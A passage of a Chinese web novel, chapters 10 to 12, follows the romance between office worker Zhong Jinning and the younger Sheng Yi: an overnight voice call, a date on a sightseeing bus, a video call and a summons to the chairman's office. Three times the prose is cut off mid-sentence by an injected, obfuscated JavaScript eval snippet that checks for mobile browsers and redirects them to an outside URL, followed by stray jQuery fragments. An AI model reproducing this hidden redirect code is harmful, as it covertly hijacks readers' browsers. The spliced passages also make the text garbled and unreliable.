盛熠毫不犹豫:“旅游观光二号线。” 钟瑾宁愣了下。 对面的盛熠问:“怎么了?” 钟瑾宁回过神,唇角微扬,觉得很巧:“我读大学的时候也经常坐这班车。早上从学校出发,坐车半小时到现在这里的公司来实习。” 旅游观光二号线是为游客们设置的线路,途径一二环的主要历史景点和顶尖名校,一圈又一圈,周而复始。 在他们大学后门,有二号观光车的站点。 盛熠提议:“那我们要不要约明天在哥哥你的大学门口见面?哥哥也可以重温你的实习时间。” “好啊。” 钟瑾宁又有些羞赧:“不过我那段时间也没什么可重温的。学校和公司之间两头跑,要实习,要准备竞赛,还要准备毕业论文,忙得睡不够,我坐车的时候基本全程补觉,有几次还差点坐过站。” 盛熠很轻地笑起来。 两人一时没说话,通话里只余彼此的呼吸声。 好像没什么说的了。 钟瑾宁看了眼时间,发现居然快九点了。 好像和盛熠待在一起,时间会过得特别快。 他想和盛熠道别,对面的少年仿佛猜到了他要说什么,抢先一步道:“哥哥,可以不要挂断通话吗?” 钟瑾宁问:“是还要说什么吗?” 盛熠道:“是我想连着语音,这样我们想说话的时候随时都可以聊天。” 钟瑾宁不解:“可是等会儿我要去洗漱。” 盛熠道:“哥哥做自己的事就好,洗漱、做题,或者睡觉都行,可以当我不存在的,我就是想听到你那边的声音。” 那怎么能当他不存在? 钟瑾宁失笑:“等我睡着了,我这边也没声音,你听什么?会觉得很无聊的吧。” “不会的。” 盛熠认认真真道:“没有声音也没关系。我知道哥哥就在通话的另一端,这样一直连着麦,我会觉得自己离哥哥很近。” 好粘人。 钟瑾宁忍不住想。 别家的小男友也这样粘人的吗? 通话里又传来少年小心翼翼的、带着点祈求的声音:“哥哥,可以吗?” 钟瑾宁默了默。 “可以。” 10. 耳机 为了避免突然有工作电话打进来,钟瑾宁将语音通话换到了平板上。 他洗漱完,在床前翻着书,能听到盛熠那边刷牙的声响。 那边的公寓隔音太差,隐隐约约传来小狗吠叫和不知道哪户人家的争吵声。 钟瑾宁忍不住问:“你那边到了晚上也这么吵吗?” 盛熠跟着听了下,回:“是吧,这边都是小户型,住的人很多。有时候睡前能听到有人下夜班回来,不过我要是睡着了就睡很沉,不会被影响。” 他又问:“我这儿的声音会吵到哥哥吗?” 钟瑾宁道:“不会,声音传到我这边已经变得很小了。” 盛熠松口气:“那就好。” 钟瑾宁翻着自己手上的书,却看不进去,手指压在页面上,眼神忍不住往床头柜上的平板上飘。 上次去的时候,他就觉得那个商用公寓鱼龙混杂,安全性不高,能保证基本的生活需求,但只适合短期住。 “哥哥要睡了吗?” 声音传来,钟瑾宁的思绪被打断,轻应一声。 少年很乖地道:“哥哥晚安,明天见。” 钟瑾宁的唇角掀起弧度:“好,明天见。” 一夜好梦。 钟瑾宁睡醒起来,发现平板已经没电自动关机了,给盛熠发了条消息,起床洗漱。 不用去公司,钟瑾宁随手拿了件白色内搭。 衣服领口有些大,露出一截平直精致的锁骨,几枚深红的吻痕若隐若现,被雪白的肌肤映衬着,格外显眼。 是那晚留下的痕迹,几天过去,颜色转深。 钟瑾宁有点耳热,匆匆换了另一件格子衬衫,扣到最高一颗,严严实实地遮住了所有。 手机上闪出新消息。 盛熠:【哥哥,我出门了。】 钟瑾宁:【好,我也快出门了。】 他用手机约了辆车,下楼的时候,在门口碰到公寓保安热情地打招呼:“钟先生上班去了?” 钟瑾宁含糊地应一声,点点头当打招呼,加快脚步,有些窘迫。 不是上班。 是和小男朋友出去约会。 他一直到上了车,脸上的温度才降了几分。 八点来钟,钟瑾宁到了大学的后门。 周围是熟悉的景象,还没到放暑假的时候,三三两两的大学生提着早餐经过他身边,说说笑笑,是朝气蓬勃的模样。 钟瑾宁站在门口恍惚了下,就像是被抛回了过去的时间。 “瑾宁哥!” 少年声线响起,热烈得像飞舞的白鸽。 钟瑾宁转身望去,梧桐树下少年在向他招手。 盛熠身形挺拔,头上扣着顶黑帽子,撞色棒球服色彩夸张,但在他身上显得格外合适,破洞黑牛仔裤勾勒出修长的腿型,收束进铆钉马丁靴。 他大步走来,嘴里叼着根白色细棍。 钟瑾宁心提起来一瞬,又放了下去,脸上浮现笑意。 是根棒棒糖。 “哥哥饿不饿?要不要吃个糖垫垫?” 盛熠咬着棒棒糖的棍棒,咬字有些不清,提起手中的袋子示意。 钟瑾宁好奇问:“不是说在这边吃早餐吗?买了些什么?” 盛熠打开袋子给他看:“两瓶燕麦酸奶——昨晚答应带给哥哥的,还有两瓶椰子水、糖和小饼干,就这些。” 钟瑾宁拿起一瓶椰子水,注意到是盛熠在他家喝的牌子,问:“喜欢这个椰子水啊,好喝吗?” 盛熠一愣:“我看哥哥在家里放的这个牌子的椰子水,以为是你喜欢。” 钟瑾宁明白过来,失笑:“那是我为了凑单随便买的。” “这样啊。”盛熠也明白过来自己误会了,跟着笑起来,“不过挺好喝的。” 两个人并排向学校后门外的小吃街走去。 盛熠伸出手,道:“哥哥,牵手。” 少年的手掌宽大,掌纹干净清晰,骨节分明的手指充满力量感,指腹沾着点还未褪去的考马斯亮蓝。 钟瑾宁盯了两秒,慢吞吞地把手放了上去。 ……反正,这边也没人认识他们,牵一会儿也是可以的吧? 盛熠抓住钟瑾宁的手,唇角上扬,问:“那哥哥平时喜欢喝什么水?” 钟瑾宁道:“上班的时候喝咖啡,喝同事们给的花茶比较多,平时的话喝普通的水。” “花茶?”盛熠敏锐地揪住字眼,“女同事给的吗?” 钟瑾宁嗯一声。 盛熠酸溜溜地道:“哥哥在公司一定很受欢迎吧?” 钟瑾宁没听出来,如实道:“是她们人很好。” 她、们? 盛熠心里的酸泡泡冒得更厉害了。 钟瑾宁偏头问他:“那你呢,喜欢喝什么?” 盛熠面上装得若无其事:“都行,矿泉水、气泡水,运动饮料,没什么特别偏向。” 又道:“哥哥,你今天看起来像个大学生。” 不同于前几次见面的标准社畜打扮,青年穿了件浅蓝色格子衬衫和简单的米白色长裤,身量颀长清瘦,像一枝青竹。 说是还在念书的大学生,没人会怀疑。 钟瑾宁确实挑的是自己读大学时的衣服,冷不丁被戳中了心思,轻咳一声:“毕竟是和你走在一起……” 总得打扮得朝气些,和少年站在一起才不突兀。 盛熠误会了,以为钟瑾宁是重视他们俩的约会所以挑的这一身衣服,心里美滋滋的,道:“哥哥按你觉得舒服的打扮来就好,你怎么穿都好看。” 钟瑾宁看向前面,转了话题问:“早上想吃什么?你给我带了酸奶,我请你吃早餐。” 大学后门这一条街全是美食,有几家早餐铺子已经开了门,粥食、面点,螺蛳粉什么都有,还有大学生自主创业推的小餐车——自己做的三明治、饭团和火鸡面等。 两人挑了一家学生来往最多的店面,盛熠不客气地点了一堆,饶是钟瑾宁对盛熠的食量有所了解也忍不住咂舌。 吃完饭,盛熠想自己付钱,但被钟瑾宁给扫码抢先付了。 “啊,这多不好。”盛熠装模作样,“让哥哥破费了,我只能用身体偿债了。” 钟瑾宁沉思两秒:“你要是把你卖给我,那我岂不是从负责一顿变成了顿顿负责?” 这个买卖,听起来不怎么划算。 盛熠笑着想说几句玩笑话,钟瑾宁却很自然地接了下去:“还好,我的工资还够养一个你。” 少年张了张口,一时有些哑然。 钟瑾宁问:“要走吗?” 盛熠点头:“走。” 两人往公交站台走去,旅游观光二号线每半小时一班,小程序显示距离下一班还有十来分钟。 钟瑾宁坐在公交车站台的长椅上,慢慢地喝燕麦酸奶。 无糖版本,口感偏酸,但是一颗颗的燕麦很有嚼劲。 盛熠做什么都带着股风风火火的少年气,几下就喝完了,投篮似的,把空罐投进了垃圾桶里,又在钟瑾宁的身边坐下。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15129251|164380||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 少年的炽热身体裹挟着一阵风接近,腿贴腿的坐法,透着毫不掩饰的亲昵,叫钟瑾宁的后背僵了下。 盛熠目光灼灼地盯他。 钟瑾宁不自在地低声问:“盯着我做什么?” 盛熠指钟瑾宁手里的酸奶罐,道:“等哥哥喝完了,帮忙扔垃圾。” 钟瑾宁有些哭笑不得,来自身体本能的排斥也慢慢地消弭,稍微加快了一点速度喝完了酸奶,将空掉的酸奶罐交给盛熠。 盛熠扔完了酸奶罐,车辆也进了站。 过了高峰期,车内空空荡荡,没什么人,钟瑾宁和盛熠上了车,顺利地坐在了后排角落。 车辆缓慢启动。 熟悉的车内装饰唤醒了钟瑾宁的更多回忆:“我以前都是坐在靠后门的地方。那儿离门进,报站声音也响亮,我经常在梦里惊醒,冲下车,赶去公司打卡。原来坐这儿是这样的感受啊,前排都看得很清楚。” 后排高出一个阶梯,升高的视野让车内景象一览无余。 盛熠笑了笑,从外套里兜里拿出耳机盒,分了一只有线耳机给钟瑾宁。 钟瑾宁接了过来,视线往旁边飘去。 窗外的光线明亮,斜斜地照进来,他忽然发现少年换了耳钉。 少年侧脸线条凌厉,神色漫不经心,低头划着手机屏幕,似在选择歌单,两个黑色的环圈悬在耳垂上,显出几分痞气。 钟瑾宁问:“换了耳钉?” 盛熠嗯一声,微微偏过脸,让钟瑾宁看得更清楚,问:“好看吗?” “好看。”钟瑾宁问,“打耳钉疼吗?” “忘了,就想着打着玩。” 钟瑾宁下意识碰了碰自己的耳垂,盛熠立刻道:“哥哥,你的耳垂不适合打耳钉。” 青年的耳垂很薄,在光线下呈现羊脂玉石般莹润的光泽,让人不忍心破坏。 钟瑾宁笑了下:“没想打,就是有点好奇。” 耳机里流淌出轻缓的音乐,像隔离了整个世界。 面前的少年朝他伸出手,一双眼眸很亮。 这次盛熠什么话也没说,钟瑾宁却从他的眼睛里读出了他想说的话。 好吧。 钟瑾宁想。 谁让这是他的小男朋友呢。 白皙如玉的纤细手指,放在了少年宽大掌心上,被反手一把握住,修长的手指强势地插进他的指缝中,形成十指相扣的姿势。 细细长长的白色耳机线绕过了两人交叠的手腕,添了几分说不清、道不明的旖旎。 盛熠的脸上扬起了笑。 钟瑾宁觉得有些热,但又不敢解开衬衫扣子,只能装作若无其事地移开视线,垂眸专注于耳机里的歌声。 耳边里是英文女声,听不清歌词,但是吟唱的旋律轻柔舒缓,像是沙滩边一层层涌来的海浪。 公交车走走停停,最后一排的窗户开着,送来清爽的风。 车内摇摇晃晃,两人因为中间的耳机线挨得很近,腿也时不时地撞一下。 这种摇篮般的轻晃让人禁不住生出倦意。 钟瑾宁的眼皮越来越重,越来越重,直到公交车转过一个弯,他的身形倾斜,撞上盛熠的肩膀,而后头一歪,靠在了少年的颈侧,彻底闭上了眼。 盛熠正出神地望着外面晃动的景色,忽然感觉肩膀一重,转头看去,轻轻笑了。 他稍微调整了姿势,让钟瑾宁睡得更妥帖,而后摘了帽子,手肘卡在窗边。 黑色鸭舌帽投落一片阴影,正正好遮在熟睡的青年脸上。 11. 视频 车内渐渐变得嘈杂,是耳机里的音乐也挡不住的地步。 钟瑾宁慢慢醒了过来,睁眼的瞬间,恍惚了下,才想起自己在哪儿。 “醒了?” 少年声线在旁响起。 钟瑾宁转头望去,发现盛熠拿了帽子在替他挡太阳。 “啊抱歉。”钟瑾宁立刻坐直,有些不好意思,“我睡了很久吗?” “哥哥不用道歉。”盛熠随手将帽子扣回头上,“不久,就十来分钟。” 又不动声色地活动了下被压麻的半边肩膀。 钟瑾宁看在眼里,更觉愧疚。 居然让盛熠反过来照顾他了…… 盛熠道:“快到你们公司的站点了,哥哥就醒了,果然有闹钟在。” 钟瑾宁看了看外面的景象,发现还真是,又愣了下:“我告诉过你,我以前上班是在哪站下吗?” 这边的公交站点距离他的公司还要穿过一条街。 盛熠道:“我看过你的工牌,记得那家公司就在这边。” “这样啊。” 钟瑾宁恍然。 这边靠近市中心,车厢内的乘客变得多了起来,约莫占了三分之一。 公交车正要重新起步,窗外响起一声呼喊:“师傅等等!——” 是个奋力奔跑的女孩,纯白的头纱在风中轻盈地飘扬,她穿着漂亮的白裙子,两只手提着裙摆。 穿着白衬衫的男生跟在后面,手里还拿着一束玫瑰捧花。 有个小孩趴在窗边,兴奋地哇一声。 师傅从车后视镜看见了,刚起步的公交车再次停下,一对新人气喘吁吁地上了车。 新娘拿手机扫了码,气息不稳地道谢:“谢谢师傅。” 前排坐的阿姨热情地问:“哎哟,俩小年轻是要去结婚吗?” 女孩落落大方地笑:“准备去民政局领证。” “哎哟恭喜恭喜——” 男生在旁边笑得腼腆羞涩,他们还准备了喜糖,给全车人挨个发了一份,而后拉着女孩坐到了空座上,挤在一起说着小话,姿态亲昵。 钟瑾宁和盛熠也各自得了一份——透明塑料袋里,两个卡通娃娃形象的纸片各自抱着一根棒棒糖,最上方顶着一排字【今日有囍】。 沾喜气这种事,让人心生愉悦。 “原来这辆车会到民政局门口啊。” 钟瑾宁捏捏包装袋里的糖,小声地对盛熠道。 盛熠也小声道:“会的,所以我经常会在那一站点前下车,不然碰到他们上车,又会接喜糖。” 钟瑾宁愣住:“你不喜欢吗?” 盛熠尴尬一笑:“那时候我坐公交车,经常是因为离家出走或者逃课,不知道去哪里,所以坐车听歌。他们开开心心地送你糖,接的时候总不好绷着脸,得笑一笑。” 钟瑾宁想象了下那个画面。 半大少年离家出走,满身忧郁气息,靠坐在窗边听歌,结果被热情的新人不由分说地塞糖,再也不能装冷酷,被迫营业假笑,还得送上祝福。 钟瑾宁再也忍不住,低下头,以拳抵唇,肩头颤动笑了起来。 盛熠更觉窘迫:“这么好笑吗?” 钟瑾宁擦了擦笑出来的眼泪,认真道:“不是好笑,是觉得你可爱——我们盛一同学哪怕自己不开心,也不会把情绪传递给别人,是个好孩子。” 盛熠蓦然被夸,耳根都红了,张了张唇:“我、我也没有那么好……” 钟瑾宁的眉眼轻轻弯着,柔和地注视着他,又问:“那下了车呢,又会去哪儿?” “有时候坐在公园,看那些玩闹的小孩,有时候站在办公楼下,看那些来往匆匆的上班族,每一个人好像都知道自己在做什么,要去哪儿,有自己的来处和归处。” 盛熠垂落眼眸,低声道:“只有我,不知道。” 钟瑾宁的心尖很轻微地抽疼起来。 他轻声道:“那跟我走吧。” 盛熠抬眼看他。 钟瑾宁道:“不知道去哪儿的时候,就来找我。” 盛熠喉结滚动一下,不知不觉间慢慢凑近了,望着钟瑾宁的眼神也逐渐变得痴迷,薄唇轻启,哑声唤:“哥哥……” 钟瑾宁胸口里的心脏重重地跳了一下,注意到公交车在新的站点停了,往后退了退,道:“我们就在这里下车吧。” 盛熠轻嗯一声,乖乖地跟着他下了车,视线一瞬不瞬地盯着钟瑾宁,小狗似的濡慕。 这附近是个广场,小孩子跑跑跳跳,玩着泡泡枪,家长守在旁边。 还有人在卖飞天的竹蜻蜓、五颜六色的气球和会自己翻滚的玩具小狗。 有个小朋友在地上打滚撒泼:“我要气球!我要那只哆啦A梦气球!” 大概为了吸引目光,摊主特地搞了一只超大的哆啦A梦气球,足有半人高,特别扎眼。 家长焦头烂额:“买什么气球不都是一样的?那个粉猪猪气球行不行?价格便宜一半呢!” 盛熠立刻转头对钟瑾宁道:“哥哥,我也想要那个哆啦A梦气球。” 钟瑾宁忍笑:“好,给你买。” 在小朋友目瞪口呆的注视下,钟瑾宁扫码付了钱,摊主乐呵呵地把唯一的超大哆啦A梦气球递给了盛熠。 小朋友哇的一声,坐地上哭了。 钟瑾宁还是第一次做这种欺负小孩的事,有些羞赧,赶紧拉盛熠走了。 盛熠却很得意:“他没有哥哥疼,我有。” 附近是小花园,两人并排走在小道上,微风正好,太阳暖洋洋的。 钟瑾宁被晒得晕乎,大脑有些转不过来,抬手解了两颗衬衫扣子给自己散热。 盛熠的视线飘过来,又凝住,目光反复晃了两次,最后低声提醒:“哥哥……衣服。” 钟瑾宁低头看了眼,轻轻地啊了声,脸有些热,赶紧又给自己扣上了。 盛熠的脸也红了,道:“第一次的时候没克制住……哥哥,下次的时候我会注意避开的。” 下次? 钟瑾宁后知后觉地意识到了这个问题。 他们现在是恋人关系了,情侣之间做那方面的事很正常。 钟瑾宁瞬间变得不自在,差点同手同脚。 好在旁边的盛熠也视线飘浮,不敢看他。 两人脸红红地沉默走了一路,钟瑾宁实在受不了这种诡异的气氛,记得附近有家商场,他们部门有一次在里面一家日料店聚餐过,那家店味道还不错。 他问了盛熠的意见,盛熠自然是点头的。 钟瑾宁打电话给日料店订了位,还买了两张电影院的票。 他们把气球寄存到了商场的储物柜那边,上楼吃饭。 但自从两人进了包厢吃饭,钟瑾宁的手机却开始疯狂震动,安组长打来一个又一个电话,一会儿要个文件,一会儿问个数据。 那些资料,钟瑾宁都已经整理打包好发给过安组长的助理,只好一遍遍不厌其烦地说清楚位置。 最后一通电话里,安组长的语气冷硬,透着悻悻:“小钟啊,客户那边点名了要找你,你看你什么时候回公司?” 钟瑾宁看了眼时间:“安组长,三个小时后可以吗?” 话说得彬彬有礼,却是通知的语气。 安组长像是想发火,又强行按捺下来,催:“行行,小钟你尽快啊。” 通话挂断,钟瑾宁歉意地对盛熠道:“抱歉,我工作上有事,等看了电影,我需要回公司一趟。” 盛熠有些失望,但也理解:“没关系,能和哥哥约会两天,我已经很开心了。” 两人吃完饭,在楼上看完电影,钟瑾宁又接了好几通安组长催的电话,只好先走了,他没带工牌,还是小梨下来接的他。 电梯里,小梨幸灾乐祸地吐槽:“太好了,客户那边根本不给氨基酸的面儿,嫌他一问三不知,直说了只找你,氨基酸撑了一天,实在扛不住压力了,这才放下架子来找你的。” 钟瑾宁随口应了声,频频看向手机。 小梨敏锐地发现不对:“在等谁消息?你看工作消息可不是这个表情,不是吧,真有人摘下我们部门的高岭之花?谁啊谁啊,是公司里的人吗?” 钟瑾宁收起手机,被打趣得有些尴尬,道:“我就随便看看。” 他就是想知道盛熠回去没有。 再怎么说,约会因为工作半路消失,是他的不对。 好在盛熠也说自己回去了。 钟瑾宁回到工位上,重新和客户那边联系。 安组 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15129252|164380||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 长听说他回工位了,还特地从办公室里出来了一趟,看钟瑾宁横挑鼻子竖挑眼,哪儿哪儿都不顺眼,脸上还得强挤个笑:“小钟啊,我手上的业务比较多,实在忙不过来,这个客户还是交给你吧。” 钟瑾宁平静点头:“好的。” 有几个同事在悄悄地笑,摆明了看笑话,安组长的目光扫过去,个个眼观鼻鼻观心,装模作样地敲打键盘。 客户那边被耽搁了进度,催得急,钟瑾宁加了会儿班,把重要的资料整理好发过去。 公司食堂在七点和九点之间供应晚餐,但钟瑾宁没带工牌,提前点了个外卖打算回去吃,出了工作间,发现盛熠给他发了好几条消息。 他回了一条,对话框对面立刻弹出消息。 盛熠:【哥哥下班了吗?】 钟瑾宁等在电梯旁,打字回:【下班了,正打算回去。】 盛熠:【晚上可以和哥哥视频吗?】 钟瑾宁笑了笑,回:【可以,我回去就打给你。】 到公寓门口的时候,外卖正好到达。 钟瑾宁把餐盒放在餐桌上,将手机放在手机架上,给盛熠拨去了视频通话的请求。 他低头拆着打死结的包装袋,听到接通的一声“嘟——”,下意识抬头看去。 等看清楚视频里的景象,愣住了。 少年似刚从浴室里出来,湿漉漉的黑发柔顺地贴脸,在滴水,衬得锋利的五官也变得乖顺。 他的上半身光.裸,结实的腹肌一览无余,两条鲨鱼线延伸进灰色运动裤中,一只手臂撑在桌面上,另一只手似在调整手机视频通话的角度。 盛熠抬眼问:“哥哥,能看到我吗?” “……能的。”钟瑾宁乍然被少年的肉.体冲击,手上的动作停了,反应也呆呆的,“会、会不会冷?你把衣服穿上吧。” “好。”盛熠注意到钟瑾宁面前摆着的外卖,“哥哥快吃饭。” 钟瑾宁应了声。 视频里的少年去了衣柜前,开柜门找衣服,漂亮的背肌随着动作舒展开来,轮廓清晰,力量感隐隐,抓着门边的修长手臂隆起肌肉。 那双被灰色运动裤包裹的长腿,更是把线条修饰到了极点。 从背后看去,钟瑾宁第一次认识到什么叫宽肩窄腰大长腿的优越体型,再加上少年的身形偏单薄,那种合适又不夸张的肌肉感让人愈发觉得赏心悦目。 少年背对着他,找出一件卫衣,两三下随意套上,转过身回到桌前。 在他转身的上一秒,钟瑾宁就心虚地低了头,继续和手里的外卖盒做斗争,假装刚才看呆了的不是自己。 盛熠拉开椅子坐下,托着脸看钟瑾宁吃饭,道:“哥哥忙到这么晚才吃上饭,是那个上司在压榨你吗?” 钟瑾宁拆开一次性筷子,想了想:“真说起来,这两天假期算是我白得来的,加班是给还回去,客户那边要资料要得比较急,所以今天忙得比较晚,后面不会了。” 他语气轻松:“毕竟带薪休假很难得的。” 盛熠似懂非懂地点头。 钟瑾宁点的是一份椰子鸡外卖,另拿了个碗喝汤。 他的唇色因为汤汁的浸润,变得有几分润红。 盛熠控制不住地将视线黏了上去,喉结上下滚动。 钟瑾宁一边用筷子夹菜吃饭,一边问:“你晚上吃了什么?” 盛熠直勾勾地盯着钟瑾宁的唇,反应迟了半拍,回:“我吗?我在楼下吃的排骨面。” 钟瑾宁问:“好吃吗?” 盛熠心不在焉地回:“还行,说不上好吃,也说不上难吃。” 钟瑾宁看出了他的不专心,笑着问:“想什么呢?” 盛熠脱口而出:“想和哥哥亲嘴。” 钟瑾宁的筷子蓦然停在半空。 盛熠回过神来,意识到自己说了什么,发现也不能补救了,干巴巴地道:“可、可以亲吗?” 这让他怎么回? 钟瑾宁的脸一点一点变红,道:“不可以。” 盛熠不死心,可怜兮兮地求:“我就想一想……” 钟瑾宁道:“想也不可以。” “哦……” 视频通话里的少年露出一副沮丧的神色,似小狗耷拉了耳朵。 12.身份 装可怜也不行。 钟瑾宁脸红心跳地移开视线。 “好吧。”盛熠不无遗憾道,“哥哥这次不同意,那下次见面的时候我再问问。” 他本来都打定主意打车过去找哥哥亲嘴了,没想到哥哥不同意。 钟瑾宁差点呛咳起来。 还下次再问? “下次见面也不能问。” 钟瑾宁强调。 盛熠看钟瑾宁的整张脸都红了,道:“好吧,下次见面我也不问了。哥哥快吃饭。” 钟瑾宁这才继续吃饭,怕盛熠又会语出惊人,连吃饭的速度都加快许多。 盛熠没做其他事,就撑着脸看钟瑾宁吃饭,唇角轻掀。 视线反复逡巡,描摹他微垂的眉眼,舔舐他眼尾的红痣,再掠过微翘的鼻尖,来来回回,怎么也看不够似的。 钟瑾宁低着头都能感受到他的注视,看他一眼,转话题:“明天有什么打算吗?” 盛熠漫不经心道:“回我爷爷那儿一趟吧。我爸告状告到他那儿,反倒被骂了一顿,老爷子昨晚给我打了电话,让我回家吃顿饭,叙叙旧。” 钟瑾宁听出点别的,问:“不想回去?” 盛熠诚实道:“不想。老爷子肯定打着劝我和我爸和解的主意,我俩要真能和解,还用等到今天?” 又用无所谓的语气道:“算啦,回去就回去吧,能看到我爸憋着气还得装和善的样子也不错,就当回去看戏了,反正我也没什么事做。” 钟瑾宁听得有点心疼,道:“要是呆不下去,就来找我吧。” 盛熠迟疑道:“哥哥明天要上班,没空理我的吧?” “就算在上班,但还是能抽空溜出来,领走一个小朋友。” 钟瑾宁笑了笑:“把你安顿在公寓里,给你点一堆好吃的。你们这个年龄都喜欢打游戏吧?再给你买一个游戏机好不好?” 盛熠被他哄得开心,又有点羞恼:“哥哥,我成年了,不是小朋友!” “嗯嗯,不是小朋友了。”钟瑾宁又问,“喜欢打游戏吗?” “……还行。”盛熠不甘不愿地承认,“我更喜欢玩机甲模型。” 钟瑾宁点头:“好,我记住了。” 这种哄小孩的语气,盛熠觉得自己明明该生气的,又止不住地开心。 连对明天都变得期待起来。 要是在家里待得不开心,就能理直气壮地去找哥哥了。 钟瑾宁吃完饭后,打算挂了视频去收拾桌子,再去洗漱,盛熠却不想挂断,想要继续语音。 拉扯了好一会儿,钟瑾宁只好答应等他洗完澡回来就和盛熠连麦。 这次平板提前充好了电,语音连麦到了第二天早上,甚至钟瑾宁这边的闹铃声还把盛熠给吵醒了。 钟瑾宁起床换衣服的时候,就听到盛熠在通话里迷迷糊糊地问他:“哥哥要去上班了吗?” 声线沙哑,浸着浓浓的睡意。 “嗯。”钟瑾宁有些歉意,“时间还早,我把语音挂了,你继续睡吧。” 盛熠仿佛转醒几分:“哥哥今天穿什么?” 钟瑾宁道:“偏正式的西装,客户那边有人要过来送合同,要在会议室见面。” 盛熠立刻道:“哥哥好帅。” “你都没见到,就知道好帅?”钟瑾宁失笑。 “没见到,我也能想象出来。” 窸窸窣窣的动静传来,似是少年从被子里坐起来了,拿近了手机,声音也变得清晰:“哥哥穿西装的样子特别好看。” 钟瑾宁道:“你以前真没谈过恋爱?” 盛熠不明所以:“没有啊,怎么了?” 钟瑾宁笑道:“没什么,就是觉得我们盛一同学很会哄人开心,感觉你很有恋爱经验。” “怎么可能!” 对面像是被吓清醒了似的,急急忙忙道:“以前真没谈过,我的初吻和第一次都是给哥哥的!那天晚上之前,我还是个处男——” 钟瑾宁窘迫地轻咳一声,赶紧走近几步,拿起床头柜上的平板:“好了好了,我知道了,你继续睡吧,我挂语音了。” “好吧。”盛熠只好道,“哥哥早上吃的什么,记得给我发照片。” “好。” 通话终于挂断,钟瑾宁松了口气。 他收拾完出门,照常在路边的小推车边买了早餐,提前二十分钟到达工位,拍照发给了盛熠。 因为客户那边送合同来,安组长和钟瑾宁一起去会议室接见,忙完以后已经是十点多。 钟瑾宁猜着盛熠这个时间应该醒了,说不定在回家的路上,犹豫了下,决定去茶水间看信息。 小梨她们正在茶水间里边喝花茶边兴致勃勃地闲聊这几天老总不见人影,董事长在公司坐镇的事。 钟瑾宁对这类话题一向不感兴趣,用咖啡机泡了杯咖啡,在等待的过程中拿出手机。 他的小男友果然发来了一通消息,看起来很是无聊。 【到了。】 【老爷子人也不在家里,说是临时有事出去了,只有保姆接待我。】 【算了,来都来了。】 【老爷子的小花园搞得挺像模像样的,哥哥你有没有什么喜欢的花,我给你薅几朵回来。】 后面又跟了好几张照片。 钟瑾宁点开看去,神色闪过一丝讶异。 他的姥姥住乡下也喜欢侍弄花草,耳濡目染下,钟瑾宁对这方面有所了解,大概一扫,也知道照片上的花卉都是些名贵品种。 再加上一看就有专人打理的庭院设计,足以得知主人家的经济条件不错。 钟瑾宁又想起盛熠住的那个窄窄小小、隔音差到透顶的房间。 既然不缺钱,那怎么能让小孩住在那么差的环境里? 未曾谋面,钟瑾宁对盛熠的家人的印象又差了几分。 钟瑾宁:【不用给我摘花,今天比较晒,你回屋子里吧。】 盛熠:【哥哥你有空啦?】 钟瑾宁:【嗯,现在在茶水间泡咖啡。】 “宁宁!我们打算今天下班去吃一家新开的火锅店,要不要一起啊?” 小梨热情的声音传来。 钟瑾宁抬起头,下意识拒绝:“我就不去了,你们去吧。” “来吧来吧。”其他同事也邀请,“人多吃起来热闹。” 换作平常,钟瑾宁拗不过她们便会答应,这回犹豫了下,却道:“我晚上有约了。” 他本意是拒绝,没想到引起她们更热烈的兴趣,呼啦一圈就围了上来。 小梨兴奋拍掌:“我就说你有情况,你昨天还不承认!”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15133963|164380||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 钟瑾宁不擅长应付这样的局面,支支吾吾,端着咖啡,不知道该怎么办是好。 茶水间门口却响起一声重重的咳嗽,打断了对话。 安组长的助理站在门口,客客气气道:“钟老师,董事长叫你上去一趟。” 钟瑾宁差点以为自己听错了,茫然地指自己:“我?” 其他同事面面相觑。 安组长的助理点头:“董事长的秘书在外面等你。” 钟瑾宁道:“啊……好的。” 他放下了手里根本没喝两口的咖啡,懵懵地跟着助理出去了。 出去的路上,助理低声套话:“你和董事长最近有什么交际吗?” 钟瑾宁也茫然:“没有啊。” 什么交际能落到他一个部门小职员头上? 助理脸上写着不信,以为钟瑾宁是在装傻充愣,但也没再问下去了。 秘书等在工作间门口,接到钟瑾宁后刷卡上楼,引着他前往董事长办公室。 门没关,秘书叩叩敲了两下,恭敬道:“董事长,钟先生到了。” 里面传来一道上了年纪的威严声音:“请他进来吧。” 钟瑾宁想不通原因,便不再想,向秘书点头道谢后,走了进去。 办公室宽敞大气,采光极好,董事长坐宽大的办公桌后,满头银发往后梳拢,一双眼睛却像鹰眼般锐利,穿着马甲西服,显得精神矍铄。 钟瑾宁道:“董事长好。” 董事长点点头,语气很和蔼:“小钟,坐。别紧张,我今天叫你过来,就是随便聊聊。” 他问起了钟瑾宁最近负责的那一个合作,钟瑾宁满心疑惑——这个合作虽然重要,但也没有大到惊动董事长的地步吧? 